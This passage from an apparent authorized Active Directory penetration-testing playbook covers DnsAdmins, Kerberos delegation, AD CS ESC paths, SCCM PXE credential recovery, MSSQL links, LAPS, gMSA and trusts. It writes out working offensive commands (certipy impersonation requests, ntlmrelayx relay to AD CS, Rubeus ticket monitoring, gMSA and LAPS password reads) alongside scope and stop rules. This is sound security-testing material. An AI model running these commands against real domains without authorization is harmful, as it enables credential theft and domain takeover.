Control is meaningful only when the GPO applies to a security-relevant scope and the attacker-controlled settings can execute in that context. Record GPO GUID, links, enforced/block-inheritance state and security filtering.

If unsuccessful

No useful GPO control for the current principal; continue OU/object ACL paths.

Finding logic

Unauthorized modification/link rights over GPOs affecting servers, admins or DCs are high-impact findings.

Next

  • Prefer read-only proof of GPO write rights
  • If exploitation is authorized, use a reversible benign setting/test account and force/update only in an agreed window

Operational notes

  • Avoid using production startup scripts, scheduled tasks or local-group changes as a proof unless explicitly required; GPO can affect large populations unexpectedly.

AD-DNSADMIN-01 — DNSAdmins and DNS Server administrative control

Status: CURRENT

Entry state: S4 or S7
Result type: PRIMITIVE
Risk of execution: LOW for membership/configuration validation / HIGH for service/plugin modification

Goal

Identify whether an owned principal has administrative control over Microsoft DNS Server through DnsAdmins or equivalent local/service permissions. Historically, DNS Server plugin configuration can result in code loading in the DNS service context, but changing it can disrupt a DC/DNS server and must not be used as a casual proof.

Prerequisites

Resolved DNS servers, effective DNS administration rights and the server/service role; group membership alone is not proof of code execution.

Commands

1
Get-ADGroupMember -Identity 'DnsAdmins' -Recursive
1
Get-ADGroup 'DnsAdmins' -Properties member

On an explicitly approved DNS server, configuration can be inspected with native DNS administration tooling appropriate to the installed Windows Server version. Prefer read-only configuration evidence plus group membership over changing a plugin path.

Interpretation

Membership or equivalent effective rights can represent a path to highly privileged DNS servers, frequently DCs. Confirm the exact server role and service identity before assigning impact.

If unsuccessful

No DnsAdmins path for the current identity. Continue GPO/delegation/ACL analysis.

Additional evidence

  • owned principal
  • nested membership path
  • DNS server host(s)
  • whether DNS service runs on a DC
  • effective administrative rights

Finding logic

Unexpected low-privilege membership/control over DNS administration is reportable. Do not claim SYSTEM/DA impact solely from the group name; demonstrate the actual service/server boundary or explain the validated prerequisite chain.

Next

  • AD-BH-02 — model nested group/control path
  • AD-LAT-01 — determine approved administrative access to DNS server
  • Stop before service/plugin modification unless explicit high-impact exploitation is required

14. Kerberos delegation

AD-DELEG-01 — Delegation inventory

Status: CURRENT

Entry state: S4
Result type: CANDIDATE
Risk of execution: LOW

Goal

Enumerate unconstrained delegation, constrained delegation, protocol transition and RBCD relationships.

Prerequisites

Authenticated domain enumeration and access to delegation attributes.

Commands

Impacket

1
impacket-findDelegation '<domain>/<user>:<password>' -dc-ip '<dc_ip>'

BloodHound

Inspect AllowedToDelegate, AllowedToAct and unconstrained-delegation edges, then confirm the corresponding AD attributes before use.

Parameters

Parameter Meaning
findDelegation Impacket example that enumerates delegation configuration.
-dc-ip Domain Controller IP used for directory/Kerberos operations.

Interpretation

Classify each result by delegation type, principal, target SPN and privilege of the delegating account. Do not conflate unconstrained, classic constrained and RBCD.

If unsuccessful

No useful delegation configuration visible to this credential.

Next

AD-DELEG-02 — Unconstrained delegation impact

Status: CURRENT

Entry state: S8 plus delegation configuration
Result type: CREDENTIAL
Risk of execution: HIGH

Goal

Determine whether a trusted-for-delegation host can receive and retain forwardable TGTs of privileged users.

Prerequisites

Administrative access to an unconstrained-delegation host and a permitted authentication source whose TGT can actually be delegated. Rubeus monitor requires elevation for other sessions.

Commands

Rubeus monitor on controlled Windows host

1
Rubeus.exe monitor /interval:5

Parameters

Parameter Meaning
monitor Observe Kerberos ticket activity on the local host.
/interval Polling interval in seconds.

Interpretation

A privileged TGT appearing on a compromised unconstrained-delegation host is credential material and may enable domain compromise. Prove only with an authorized test/admin identity if possible.

If unsuccessful

No suitable privileged authentication occurred or delegation protections/account settings prevented a forwardable ticket.

Finding logic

Compromise of an unconstrained-delegation server plus realistic privileged authentication path is typically high/critical.

Next

  • Protect/export only minimum ticket evidence
  • Validate resulting access without broad lateral movement
  • Stop once domain impact is proven

Alternative branch

  • Assess constrained/RBCD and Protected Users/delegation restrictions

Operational notes

  • Do not coerce real Domain Controllers or administrators solely to manufacture a critical path unless the engagement explicitly authorizes it.

AD-DELEG-03 — Constrained delegation / S4U

Status: CURRENT

Entry state: S6–S7
Result type: ACCESS
Risk of execution: HIGH

Goal

Use a compromised principal configured for constrained delegation to request service tickets on behalf of another user within its allowed SPNs.

Prerequisites

Usable keys for a delegating principal, exact allowed backend SPN and a delegable test user. The example assumes a usable S4U2Self-to-S4U2Proxy path; Kerberos-only constrained delegation may require an existing forwardable evidence ticket.

Commands

Impacket S4U

1
impacket-getST -spn '<allowed_spn>' -impersonate '<test_user>' -dc-ip '<dc_ip>' '<domain>/<delegating_account>'

Parameters

Parameter Meaning
-spn Target service permitted by delegation configuration.
-impersonate User represented by the S4U request.

Interpretation

The example prompts for the account password. For an NT hash, supply -hashes ":<nt_hash>" and omit the password component; for AES, use -aesKey. <allowed_spn> is the complete service/FQDN value, not a value to which another hostname must be appended.

A successful S4U path normally combines S4U2Self (the delegating service obtains a service ticket to itself on behalf of a user) with S4U2Proxy (that ticket is used to request a ticket to an allowed backend SPN). Protocol transition, commonly associated with TRUSTED_TO_AUTH_FOR_DELEGATION, changes whether a non-Kerberos client authentication can enter this flow. A service ticket issued for the impersonated user demonstrates impact only for the service/SPN actually authorized. altservice-style substitution is protocol/version-specific and must be validated separately.

If unsuccessful

Check whether protocol transition is permitted, whether the requested user can be delegated, and whether the SPN matches allowed delegation targets.

Finding logic

Low-privilege compromise of a constrained-delegation principal can be high impact depending on target service/host and delegated users.

Next

  • Use the ticket against only the allowed target service
  • Record exact SPN and impersonated identity

Alternative branch

  • Return to delegation configuration and user protections

Reference

15. Active Directory Certificate Services

Treat AD CS as its own trust system. Track CA → template → enrollment rights → issuance requirements → subject/SAN behavior → EKU/application policy → authentication path → resulting identity. A template being “vulnerable” according to a scanner is a candidate until the current principal can actually enroll and authenticate in a way that changes security state.

AD-ADCS-01 — Enumerate enterprise CAs, templates and web/RPC enrollment endpoints

Status: CURRENT

Entry state: S4
Result type: CANDIDATE
Risk of execution: LOW

Goal

Build the PKI inventory and identify certificate templates or CA settings that may provide an escalation path.

Prerequisites

Directory credentials and connectivity to LDAP plus the CA interfaces needed for complete enumeration. Record unreachable CA checks as incomplete.

Commands

Certipy current baseline

1
certipy find -u '<user>@<domain>' -p '<password>' -dc-ip '<dc_ip>' -stdout -vulnerable

Full output for evidence

1
certipy find -u '<user>@<domain>' -p '<password>' -dc-ip '<dc_ip>' -json -output evidence/adcs/certipy

Parameters

Parameter Meaning
find Enumerate AD CS objects and security-relevant configuration.
-stdout Print results directly.
-vulnerable Filter/highlight configurations Certipy considers vulnerable for the current context.
-json Write structured JSON output.
-output Output prefix/path.

Interpretation

For every candidate, record CA, template, enrollment principals, manager approval/signature requirements, subject-name flags, EKUs/application policies and CA interface availability.

If unsuccessful

No obvious path for the current principal. Re-run after privilege changes and inspect CA/object ACLs and web enrollment separately.

Finding logic

Scanner labels are not enough. Promote to finding only after validating the exact vulnerable condition and affected principals.

Next

Reference

AD-ADCS-02 — AD CS ACL and configuration validation

Status: CURRENT

Entry state: S4 or S7
Result type: PRIMITIVE
Risk of execution: LOW

Goal

Determine whether the current principal can change a template, CA-related AD object or CA security setting into an exploitable state.

Prerequisites

CA/template inventory and effective management or directory rights. Include disabled templates when assessing template control.

Commands

Certipy enumeration

1
certipy find -u '<user>@<domain>' -p '<password>' -dc-ip '<dc_ip>' -stdout

Collection choice

Do not filter to -enabled during the control-plane review: control over an unpublished template may matter when combined with publication rights. Avoid -hide-admins when expected administrators themselves are the controlled identities. Record the effective ACL rather than only scanner labels.

Interpretation

Rights such as WriteDACL/WriteOwner/GenericAll on templates/PKI objects or CA-management rights can form ESC4/ESC5/ESC7-style paths. Preserve the original configuration before any modification.

If unsuccessful

No writable PKI control plane for the current principal; evaluate enrollment misconfiguration rather than modification.

Finding logic

Low-privilege write/control over authentication-capable certificate infrastructure is typically high/critical depending on reachable identity.

Next

  • If proving ESC4-style impact: make one minimal reversible template change, request proof certificate, then restore
  • If CA rights: avoid destructive CA configuration changes; prove permission where possible

AD-ADCS-03 — Validate an ESC1 certificate-template path

Status: CURRENT

Entry state: S7
Result type: CREDENTIAL
Risk of execution: HIGH

Goal

Validate ESC1 by requesting a certificate for an approved test identity and proving the resulting mapping. Other ESC classes have different requirements and are not covered by blindly reusing this request.

Prerequisites

A validated ESC1 template published by the chosen CA, enrollment rights, suitable authentication EKU, controllable subject/SAN and no blocking issuance requirement; obtain the test identity UPN and SID.

Commands

Request

1
certipy req -u '<user>@<domain>' -p '<password>' -dc-ip '<dc_ip>' -target '<ca_fqdn>' -ca '<ca_name>' -template '<template>' -upn '<target_user>@<domain>' -sid '<target_sid>'

Authenticate

1
certipy auth -pfx '<certificate.pfx>' -dc-ip '<dc_ip>'

Parameters

Parameter Meaning
req Request a certificate from the selected CA/template.
-target CA host/service target.
-ca Certification Authority name.
-template Certificate template.
-upn Requested UPN/identity where the template and CA allow subject/SAN control.
auth Authenticate using a certificate/PFX.
-pfx PFX containing certificate and private key.

Interpretation

Issued PFX plus successful authentication proves the template/CA path. Record certificate serial, subject/SAN, template, requester, CA and authentication result. Revoke/remove test artifacts when agreed.

If unsuccessful

A scanner candidate may fail because issuance requirements, CA policy, EKU/application policy, mapping rules, strong certificate binding or permissions block the path.

Finding logic

An enrollment path from a low-privileged principal to authentication as a privileged identity is critical in many environments.

Next

  • AD-CERT-01 — store/use certificate credential
  • Stop escalation after proving intended privilege
  • Document remediation at template/CA/mapping layer

Alternative branch

  • Re-evaluate exact ESC conditions rather than trying random flags

Operational notes

  • This request follows the Certipy 5.1.0 ESC1 workflow. Validate the issued SID extension/SAN and the authenticating DC behavior. On updated DCs, the September 2025 changes removed support for the old StrongCertificateBindingEnforcement compatibility override. Do not infer exploitability from an old registry recipe. See Microsoft KB5014754.

Reference

Status: CURRENT

Entry state: S7
Result type: CREDENTIAL
Risk of execution: HIGH

Goal

Determine whether NTLM authentication can be relayed to AD CS web or RPC enrollment and converted into a certificate for the relayed identity.

Prerequisites

A live compatible authentication source, reachable enrollment endpoint, enrollment rights for the relayed identity and an appropriate template. Evaluate HTTP EPA and RPC encryption requirements separately.

Commands

Certipy relay

1
certipy relay -target 'http://<ca_fqdn>'

Impacket web relay pattern

1
impacket-ntlmrelayx -t 'http://<ca_fqdn>/certsrv/certfnsh.asp' --adcs --template '<template>' -smb2support

Parameters

Parameter Meaning
relay Certipy relay mode.
-target Enrollment endpoint to which authentication is relayed.
–adcs Enable AD CS handling in ntlmrelayx.
–template Template requested for the relayed identity.

Interpretation

A certificate issued for a coerced/relayed machine or user becomes credential material and proves an ESC8/related relay path.

If unsuccessful

NTLM disabled, EPA/channel binding, enrollment authentication restrictions, unavailable endpoint or template rights may block relay.

Finding logic

Coercion + relay to AD CS producing an authentication certificate is typically high/critical, especially for DC machine accounts.

Next

  • AD-CERT-01
  • Use minimum certificate-auth proof
  • Document both coercion source and AD CS destination controls

Alternative branch

  • Evaluate RPC/ICPR and other relay targets if in scope
  • Continue non-relay AD CS template paths

Reference

15.1 ESC triage matrix

Treat an ESC label as a hypothesis that still needs its complete prerequisite set. Current Certipy documentation covers ESC1 through ESC17; some classes are direct template/CA misconfigurations while others require graph context, host access, patch state or a second service condition.

Class What to validate Do not stop at
ESC1 Enrollable authentication-capable template + requester-controlled subject/SAN + no blocking issuance requirement Scanner says ESC1
ESC2 Any Purpose/no EKU behavior and whether it can actually lead to authentication or enrollment-agent use Template EKU alone
ESC3 Enrollment Agent template plus a second template accepting on-behalf-of requests Agent template alone
ESC4 Current principal can change template security/settings into a dangerous configuration Write right without reachable impact
ESC5 Control over PKI AD objects that changes CA/template trust or security Generic AD write without a PKI effect
ESC6 CA-wide SAN behavior together with current certificate-mapping protections and patch state Pre-2022 assumptions
ESC7 CA management/officer rights and the concrete action those rights permit Being listed in a CA ACL
ESC8 Relayable NTLM to HTTP(S) enrollment + a template usable by the relayed identity + endpoint protections Web Enrollment merely exists
ESC9 Template omits the SID security extension and the environment’s current strong-mapping behavior still makes that omission exploitable CT_FLAG_NO_SECURITY_EXTENSION alone
ESC10 Weak certificate mapping behavior on the authenticating service/DC under the current enforcement configuration Historical registry defaults
ESC11 Relayable NTLM to ICPR/RPC enrollment under the actual RPC/interface authentication protections RPC enrollment endpoint existence
ESC12 Specific YubiHSM2/CA-host context in which local CA-server access can reach signing-key functionality Generic “HSM in use” observation
ESC13 Enrollable template uses an issuance-policy OID whose AD object links to a security group and authentication consumes the resulting group semantics OID/group link alone
ESC14 Weak explicit certificate mapping such as an attacker-controllable altSecurityIdentities relationship plus a certificate that satisfies the mapping Presence of explicit mapping alone
ESC15 Unpatched CVE-2024-49019 conditions on a Version 1 template where arbitrary Application Policies can be injected and used for a meaningful purpose Version 1 template alone
ESC16 CA globally disables the SID security extension and the authenticating environment’s mapping/binding mode permits useful impersonation Missing extension alone
ESC17 Enrollee-supplied subject on a Server Authentication template plus the additional target-service conditions required for useful server impersonation Template flag alone

Operational rule

  • Preserve Certipy’s exact finding/remarks output and the tool version.
  • Verify graph-dependent ESCs with directory ACLs/BloodHound rather than treating a scanner label as complete proof.
  • Verify patch-dependent ESCs against the CA/DC patch state and current certificate-mapping enforcement.
  • Stop after the minimum certificate/authentication proof needed to demonstrate the privilege boundary.

Reference

16. SCCM / Configuration Manager

AD-SCCM-01 — SCCM site-system and role discovery

Status: CURRENT

Entry state: S4
Result type: INFORMATION
Risk of execution: LOW

Goal

Identify management points, distribution points, site servers and SCCM-related directory objects because management infrastructure often crosses workstation/server trust boundaries.

Prerequisites

Authenticated directory access and in-scope Configuration Manager infrastructure or a reason to test for its presence.

Commands

SCCMHunter discovery

1
python3 sccmhunter.py find -u '<user>' -p '<password>' -d '<domain>' -dc-ip '<dc_ip>'

NetExec LDAP search baseline

1
nxc ldap '<dc_fqdn>' -d '<domain>' -u '<user>' -p '<password>' -M sccm

Interpretation

Record SCCM server roles, site code and reachable interfaces. Treat discovered management infrastructure as high-value targets for permission and credential-exposure review.

If unsuccessful

No SCCM footprint found through this method; confirm software/host inventory before marking not present.

Finding logic

Presence of SCCM is not a finding. Excessive SCCM administrative rights, exposed NAA credentials, unsafe PXE or site-system compromise paths are.

Next

  • AD-SCCM-02 — PXE/NAA and role permissions
  • Map local admin relationships to SCCM servers

AD-SCCM-02 — PXE / Network Access Account exposure

Status: CURRENT

Entry state: S0–S1 or S5–S8
Result type: CREDENTIAL
Risk of execution: MEDIUM

Goal

Determine whether SCCM PXE/boot media or configuration exposes reusable Network Access Account or related credential material.

Prerequisites

PXE distribution point access or an already acquired variables file. Record whether the workflow requires local broadcast access, direct DP access or filesystem access.

Commands

Inspect installed SCCM tooling

1
python3 sccmhunter.py -h

PXE-enabled Distribution Point discovery/extraction workflow documented by PXEThief

1
python3 pxethief.py 2 '<distribution_point_ip>'

Extract crackable protected-media material from an already obtained variables file

1
python3 pxethief.py 5 '<boot.var>'

Verify the exact mode behavior with the installed PXEThief/PXEThief-derived release before use.

Interpretation

Recovered SCCM credential material must be decrypted/cracked as appropriate, then validated and scoped. An NAA often has broad read access but should not be assumed privileged.

If unsuccessful

No recoverable PXE/NAA material using the tested path.

Finding logic

Recoverable reusable SCCM credentials or insecure PXE configuration is reportable; severity depends on privilege/reuse.

Next

  • Validate credential
  • Search shares/repositories accessible to the NAA
  • Re-run BloodHound

Alternative branch

  • Review SCCM RBAC and site-system local privilege if access exists

Operational notes

  • PXE/SCCM tooling evolves rapidly; preserve tool version and help output rather than relying on copied historical syntax.

16.1 SCCM decision taxonomy

SCCM/Configuration Manager should be treated as a management-plane trust system rather than as one vulnerability. A useful current taxonomy is the Misconfiguration Manager matrix:

Class Question Typical output from the branch
RECON What sites, roles, providers, MPs, DPs, site databases and trust relationships exist? INFORMATION / CANDIDATE
CRED Can policy, NAA material, DPAPI, site systems or SCCM data expose reusable credentials? CREDENTIAL
ELEVATE Can a client/site relationship or misconfiguration cross a local/domain privilege boundary? PRIMITIVE / ACCESS
EXEC Can authorized SCCM functionality execute code on managed systems through an over-privileged identity? ACCESS
TAKEOVER Can control of a site server, site DB, CAS, SMS Provider or another trust edge lead to hierarchy control? ATTACK PATH

Use the current Misconfiguration Manager technique IDs when documenting a precise SCCM weakness; the matrix evolves and individual CRED-*, ELEVATE-*, EXEC-*, RECON-* and TAKEOVER-* techniques have different prerequisites and remediations. Do not collapse every SCCM issue into “SCCM compromise”.

Reference

AD-MSSQL-01 — Discover SQL servers, integrated authentication and linked servers

Status: CURRENT

Entry state: S3–S4
Result type: ACCESS
Risk of execution: LOW

Goal

Identify SQL instances where the domain credential works, determine server/database roles, impersonation and linked-server relationships.

Prerequisites

Reachable SQL instance accepting the supplied identity; discovery of a port does not establish a usable login.

Commands

NetExec auth

1
nxc mssql '<target>' -d '<domain>' -u '<user>' -p '<password>'

Impacket client

1
impacket-mssqlclient -windows-auth '<domain>/<user>:<password>@<target>'

Parameters

Parameter Meaning
mssql NetExec MSSQL protocol.
-windows-auth Use Windows integrated authentication in mssqlclient.

Interpretation

Record SQL login, server roles, IMPERSONATE rights and linked servers. SQL access is a separate privilege domain; sysadmin may lead to OS execution if enabled/authorized.

If unsuccessful

No SQL access for this credential; do not brute-force databases unless explicitly scoped.

Finding logic

Over-privileged SQL logins, unsafe impersonation chains and linked servers crossing security tiers can be reportable.

Next

  • Enumerate impersonation/linked servers read-only
  • Only test command execution if sysadmin/approved and needed to prove impact

Alternative branch

  • Continue AD CS/trust/ACL paths

Reference

AD-MSSQL-02 — SQL impersonation and linked-server trust chains

Status: CURRENT

Entry state: S4 plus SQL access
Result type: PRIMITIVE
Risk of execution: LOW for enumeration / HIGH for OS command execution

Goal

Turn a valid SQL login into a graph of SQL security contexts and linked servers, then determine whether a database trust crosses an AD/domain/server privilege boundary.

Prerequisites

A working SQL login. Remote execution through a linked server depends on link configuration, mapped security context and RPC OUT for EXEC AT.

Commands

Enumerate linked servers with the current NetExec module

1
nxc mssql '<sql_target>' -d '<domain>' -u '<user>' -p '<password>' -M enum_links

Enumerate impersonation candidates

1
nxc mssql '<sql_target>' -d '<domain>' -u '<user>' -p '<password>' -M enum_impersonate

Read-only query through a specific linked server

1
nxc mssql '<sql_target>' -d '<domain>' -u '<user>' -p '<password>' -M exec_on_link -o LINKED_SERVER='<linked_server>' COMMAND='select @@servername'

@@servername confirms the destination server, not the effective security identity. Record SYSTEM_USER, ORIGINAL_LOGIN() and USER_NAME() in the relevant SQL context as well. Distinguish server logins from database users; dbo is not a server-level sysadmin role.

Parameters

  • -M enum_links — enumerate linked servers configured on the authenticated instance.
  • -M enum_impersonate — list SQL principals that the current login can impersonate in supported NetExec releases.
  • -M exec_on_link — execute a SQL query through a chosen linked server.
  • LINKED_SERVER= — linked server identifier returned by enumeration.
  • COMMAND= — SQL statement sent through that link; use harmless identity/context queries first.

Interpretation

Create a chain such as DOMAIN\\user → SQL01 login → impersonated login or database-user context → SQL02 linked server → service account/host boundary. A linked server by itself is not a vulnerability; dangerous inherited context or tier crossing is.

If unsuccessful

No usable impersonation/link path for that login. Record tested instances and continue other AD paths.

Additional evidence

  • source SQL instance
  • authenticated Windows/SQL login
  • effective server/database role
  • impersonatable login(s)
  • linked server(s)
  • remote execution context from harmless @@servername/identity query

Finding logic

Report excessive SQL impersonation or linked-server trust when it crosses intended privilege boundaries. Enabling xp_cmdshell is configuration-changing and should not be the default proof.

Next

  • Re-run AD-MSSQL-01 against newly exposed server contexts
  • AD-AUTH-01 if reusable service-account credentials are obtained
  • AD-LAT-01 only when OS execution is explicitly needed and approved

18. LAPS and gMSA

AD-LAPS-01 — Identify principals that can read LAPS passwords

Status: CURRENT

Entry state: S4 or S7
Result type: CREDENTIAL
Risk of execution: LOW

Goal

Determine whether the owned principal can read Windows LAPS or legacy Microsoft LAPS passwords for computers.

Prerequisites

Directory access to computer objects and the appropriate password-read/decryption rights. Windows LAPS encrypted values require more than ordinary attribute readability.

Commands

NetExec LDAP module

1
nxc ldap '<dc_fqdn>' -d '<domain>' -u '<user>' -p '<password>' -M laps

NetExec host use

1
nxc smb '<target>' -d '<domain>' -u '<reader>' -p '<password>' --laps

Parameters

Parameter Meaning
-M laps Retrieve LAPS values readable by the authenticated account.
–laps Use LAPS-resolved local administrator credentials in supported NetExec protocols.

Distinguish legacy ms-Mcs-AdmPwd, Windows LAPS cleartext JSON (msLAPS-Password) and encrypted values (msLAPS-EncryptedPassword). Record the managed local account name. Attribute readability does not imply decryption of encrypted Windows LAPS data; the tool must support that path and the principal must be authorized.

Interpretation

Each readable local administrator password is a host-scoped credential unless reuse/misconfiguration proves otherwise. Map exactly which principal can read which computer password.

If unsuccessful

No readable LAPS values for the current identity.

Finding logic

Excessive LAPS read delegation can create lateral-movement paths; LAPS itself is a security control, not a weakness.

Next

  • Validate only on the matching host
  • Map local admin access and privileged sessions
  • Re-run graph with newly controlled host

Reference

AD-GMSA-01 — Read gMSA managed passwords

Status: CURRENT

Entry state: S4 or S7
Result type: CREDENTIAL
Risk of execution: LOW

Goal

Determine whether the current principal can read msDS-ManagedPassword for a group managed service account and derive usable Kerberos/NT credentials.

Prerequisites

Readable gMSA objects and effective managed-password retrieval rights, normally exercised over a protected LDAP connection.

Commands

NetExec

1
nxc ldap '<dc_fqdn>' -d '<domain>' -u '<user>' -p '<password>' --gmsa

gMSADumper

1
gMSADumper.py -u '<user>' -p '<password>' -d '<domain>' -l '<dc_fqdn>'

Parameters

Parameter Meaning
–gmsa Enumerate/read gMSA credentials available to the principal in supported NetExec versions.
-l LDAP/DC target in gMSADumper versions that use this option; verify installed help.

Interpretation

Derived managed-password material is a credential for the gMSA. Determine its group memberships, SPNs, local rights and service hosts before using it.

If unsuccessful

Current principal cannot read relevant gMSA passwords.

Finding logic

Overbroad gMSA read permissions are reportable when the service account has material privilege.

Next

Status: CURRENT

Entry state: S4–S5
Result type: CANDIDATE
Risk of execution: LOW for discovery / HIGH for credential extraction

Goal

Identify Microsoft Entra Connect / legacy Azure AD Connect synchronization infrastructure because compromise of a synchronization server can bridge on-premises AD and cloud identity. Do not assume every sync deployment has the same credential material or privilege model; versions and sync modes matter.

Prerequisites

Directory inventory or host access to a suspected sync server; establish whether Entra Connect Sync or a different synchronization product is used.

Directory/host indicators

  • Server naming/description referring to Entra Connect, Azure AD Connect, AADConnect, ADSync or synchronization.
  • Windows service ADSync on a suspected server.
  • Microsoft Azure AD Sync / Microsoft Entra Connect Sync installation artifacts.
  • SQL LocalDB/SQL instance and ADSync configuration associated with the sync engine.
  • Directory accounts historically associated with synchronization, while recognizing that naming conventions have changed across versions/deployments.

Commands on an approved suspected host

1
Get-Service ADSync -ErrorAction SilentlyContinue
1
Get-CimInstance Win32_Service -Filter "Name='ADSync'" | Select-Object Name,State,StartName,PathName
1
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'Entra Connect|Azure AD Connect|Azure AD Sync' } | Select-Object DisplayName,DisplayVersion,InstallLocation

Interpretation

Treat the server as a high-value identity-system asset. Determine sync mode, service identity, local administrators, database location and cloud/on-premises privileges before any extraction attempt.

If unsuccessful

No sync engine found on the tested host. Continue searching inventory/CMDB/AD descriptions only if hybrid identity is known to be in scope.

Additional evidence

  • sync server FQDN
  • product/version
  • ADSync service identity
  • local admin principals
  • sync mode if known
  • cloud tenant identifier if in scope

Finding logic

Presence of Entra Connect is not a finding. Weak local administrative boundaries, exposed sync credentials, excessive service-account rights or an attack path from ordinary users into the sync server can be critical.

Next

  • AD-BH-02 — identify who can administer/log on to the sync server
  • AD-LAT-01 — validate access only with authorized credentials
  • AD-CRED-01/AD-CRED-02 only if credential extraction from this identity-system asset is explicitly approved

AD-DMSA-01 — Delegated Managed Service Account posture and BadSuccessor-era permissions

Status: CURRENT

Entry state: S4
Result type: CANDIDATE
Risk of execution: LOW for read-only inventory

Goal

Identify delegated Managed Service Accounts (dMSAs) in Windows Server 2025 environments and review who can create, migrate, link or control them. The 2025 BadSuccessor direct escalation path was assigned CVE-2025-53779 and patched; do not assume an unpatched-era technique applies to a maintained environment.

Prerequisites

Directory visibility and DC build/schema inventory. Assess Windows Server 2025 support and patch state even if no existing dMSA is found.

Commands

Read-only Active Directory inventory

1
Get-ADServiceAccount -Filter * -Properties 'msDS-DelegatedMSAState','msDS-ManagedAccountPrecededByLink','PrincipalsAllowedToRetrieveManagedPassword' | Select-Object Name,ObjectClass,DistinguishedName,'msDS-DelegatedMSAState','msDS-ManagedAccountPrecededByLink',PrincipalsAllowedToRetrieveManagedPassword

Review ownership and delegated rights on containers/OUs that can host service accounts

Use the AD: security-descriptor inspection in AD-ACL-05 for each candidate dMSA and its parent container. Include object-creation rights even where the container currently has no dMSA objects.

Interpretation

A dMSA object is architecture information. Security relevance comes from effective rights: who can create or modify dMSA objects, control migration/link attributes, retrieve managed credentials, or control the OU/container in which those objects live.

If unsuccessful

Absence of existing dMSAs does not by itself exclude a dMSA-creation path. Record DC versions, schema support, patch state and object/container creation rights. Mark the specific historical exploit inapplicable only when its prerequisites are demonstrably absent or patched; assess ordinary delegated control separately.

Additional evidence

  • dMSA DN/SID
  • migration state/link attributes
  • password-retrieval principals
  • owner/DACL of the dMSA and parent container
  • DC build and CVE-2025-53779 patch state where relevant

Finding logic

Do not report dMSA deployment itself. Report unintended object/container control, credential-read rights, or an actually reachable escalation path. Treat old BadSuccessor PoCs as version-specific and gated by patch state.

Next

  • AD-ACL-01 for exact object/container control.
  • AD-AUTH-01 only if a reusable service-account credential is legitimately obtained.
  • AD-BH-02 for the resulting graph path.

Reference

19. Trusts, domains and forest boundaries

AD-TRUST-01 — Enumerate domain and forest trusts

Status: CURRENT

Entry state: S4
Result type: INFORMATION
Risk of execution: LOW

Goal

Map trust direction, type, transitivity, SID filtering and reachable domains before attempting cross-domain paths.

Prerequisites

Authenticated access to trusted-domain objects in each permitted domain and the ActiveDirectory module for the PowerShell examples.

Commands

PowerShell trust inventory — ActiveDirectory module

1
Get-ADTrust -Filter * -Properties * | Format-List Name,Source,Target,Direction,TrustType,ForestTransitive,SelectiveAuthentication,SIDFilteringForestAware,SIDFilteringQuarantined

Direct LDAP query — trusted-domain objects are stored below the domain System container

1
ldapsearch -LLL -x -H 'ldaps://<dc_fqdn>' -D '<user>@<domain>' -W -b 'CN=System,<base_dn>' '(objectClass=trustedDomain)' cn flatName trustPartner trustDirection trustType trustAttributes securityIdentifier msDS-SupportedEncryptionTypes

Parameters and attributes

  • Get-ADTrust -Filter * — returns trusted-domain objects visible to the current directory context.
  • -Properties * — requests non-default trust properties so direction/filtering information is not silently omitted.
  • trustDirection — direction encoded on the TDO; interpret it from the perspective of the domain that stores the object.
  • trustType — trust implementation/type, not a privilege level.
  • trustAttributes — bit field describing properties such as forest-transitive or quarantined behavior.
  • securityIdentifier — SID of the trusted domain where present.
  • CN=System,<base_dn> — documented location of trusted-domain objects in the domain naming context.

Interpretation

Create a trust matrix. Direction matters: a trust object does not mean the current domain can authenticate everywhere. Record selective authentication and SID filtering.

If unsuccessful

No additional trust visible; confirm forest root/child domains through naming contexts/GC.

Finding logic

Trust relationships are architectural facts. Weak SID filtering, overbroad cross-trust ACLs or privileged credential reuse become findings.

Next

  • Collect BloodHound data in each permitted domain
  • Search cross-domain ACL/group membership and local admin edges
  • If child-domain compromise exists, assess parent escalation prerequisites

Alternative branch

  • Continue current-domain coverage

AD-TRUST-02 — Validate cross-domain and forest attack paths

Status: CURRENT

Entry state: S4–S9
Result type: ATTACK PATH
Risk of execution: LOW for mapping / HIGH for cross-domain escalation proof

Goal

Convert a discovered trust into a concrete path: which identity from which source domain can authenticate to which target resource, under which filtering/authentication constraints, and what effective privilege results?

Prerequisites

Known trust direction, SIDs, filtering and selective-authentication conditions; in-scope source and destination resources.

Validation order

  1. Establish trust direction from the TDO perspective.
  2. Record SelectiveAuthentication, SID filtering/quarantine and forest-transitive properties.
  3. Collect domain SIDs and privileged group SIDs separately for every domain.
  4. Identify cross-domain group membership, foreign-security principals and ACLs.
  5. Check Allowed to Authenticate where selective authentication is enabled.
  6. Validate service access with an existing authorized identity before attempting ticket manipulation.
  7. Treat child-to-parent, SIDHistory/ExtraSIDs and ticket-forging techniques as separate high-impact proofs, not assumptions.

Useful PowerShell inventory

1
Get-ADForest | Format-List RootDomain,Domains,GlobalCatalogs,Sites
1
Get-ADDomain | Format-List DNSRoot,DomainSID,ParentDomain,ChildDomains,PDCEmulator
1
Get-ADTrust -Filter * -Properties * | Format-Table Source,Target,Direction,TrustType,ForestTransitive,SelectiveAuthentication,SIDFilteringForestAware,SIDFilteringQuarantined -AutoSize

Interpretation

A trust becomes security-relevant when the owned identity can cross it and obtain access/control that violates the intended tier/domain boundary. Record the complete identity translation and authorization edge.

If unsuccessful

A trust that exists but does not produce useful authorization for the tested identity remains architecture information, not a finding.

Additional evidence

  • source/target domain and SIDs
  • trust direction/type/attributes
  • source identity SID
  • target resource/object
  • authorization edge/group/ACE
  • authentication result
  • resulting privilege

Finding logic

Report the concrete cross-boundary authorization weakness. Avoid generic findings such as “domain trust exists”.

Next

Alternative branch

  • Continue current-domain coverage

19.1 Cross-domain escalation rules

  • The forest, not an individual domain within it, is the AD security boundary. Treat full control of a writable child-domain DC as a forest-level risk. Validate the concrete escalation mechanism rather than assuming every historical ExtraSIDs command will work. Cross-forest trusts are a separate boundary with different filtering rules.
  • Golden-ticket ExtraSIDs/SIDHistory-style escalation is a high-impact proof and should be attempted only when explicitly approved.
  • External/forest trusts may expose resources without granting directory control. Enumerate actual ACLs and local rights across the trust.
  • Selective authentication can prevent logon even when a trust exists; “Allowed to Authenticate” becomes a relevant ACL.
  • When forest control is already demonstrated through a safer path, do not execute additional ticket-forging paths solely for completeness.

20. Host access and lateral movement

